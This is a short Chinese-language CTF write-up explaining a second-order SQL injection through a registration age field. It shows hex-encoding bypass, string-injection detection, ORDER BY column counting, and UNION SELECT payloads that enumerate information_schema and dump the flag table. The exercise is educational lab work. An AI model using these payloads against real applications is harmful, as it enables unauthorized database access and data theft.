这次有做一个二次注入的天枢CTF题目,算是完整地理解了一遍注入的知识。来,启航。
1.判断注入点
经过对题目的实践分析,知道注册时需要输入年龄大于18岁,但在登录后界面,年龄因为太大不能接触flag。问题在年龄上,在找各种框框,锁定目标在注册时年龄框框那儿了。接下来是重点了。
之前的实践已知,正常的小于18岁的数字是通不过注册的,尝试使用十六进制(数据库可以解析十六进制为真正的数据哦)。
1的十六进制通过了,emmmmm,这里是注入点。调皮地尝试登陆看看flag。
提示信息没有显示flag。找到注入点当然只是个开始咯,接下来利用注入点。
2.判断注入类型
注入类型有两种:数字和字符注入。根据构造的逻辑错误语句反馈的结果判断注入类型,如果返回界面和之前界面不一样,则说明是此注入类型。
尝试数字注入。1 and 1=2 -- (猜测它是mysql数据库)
用刚注册的账户成功登录,界面和之前界面一样。说明不是数字注入。
尝试字符注入。1' and 1=2 --
看见没,显示的界面发生了变化,说明此错误语句被执行,此注入属于字符注入。
3.判断字段。
1' order by 1 --
当字段为1时,回显内容。
1' order by 2 --
当字段为2时,无回显内容。说明能够在界面回显的字段只有一个。
4.依次查出flag
第一步查出数据库。
1' and 1=2 union select group_concat(schema_name) from information_schema.schemata --
很明显,【childhappy】是目标数据库。
第二步查表名。
1' and 1=2 union select group_concat(table_name) from information_schema.tables where table_schema='childhappy' --
emmmmmmmmmmm,猜测py_flag是目标表。
第三步查列名。
1' and 1=2 union select group_concat(column_name) from information_schema.columns where table_schema='childhappy' and table_name='py_flag' --
好,tsctf_fla9里面应该有我们需要的东西。
第四步获取flag。
1' and 1=2 union select group_concat(tsctf_fla9) from childhappy.py_flag --
好嘞,愉快地结束。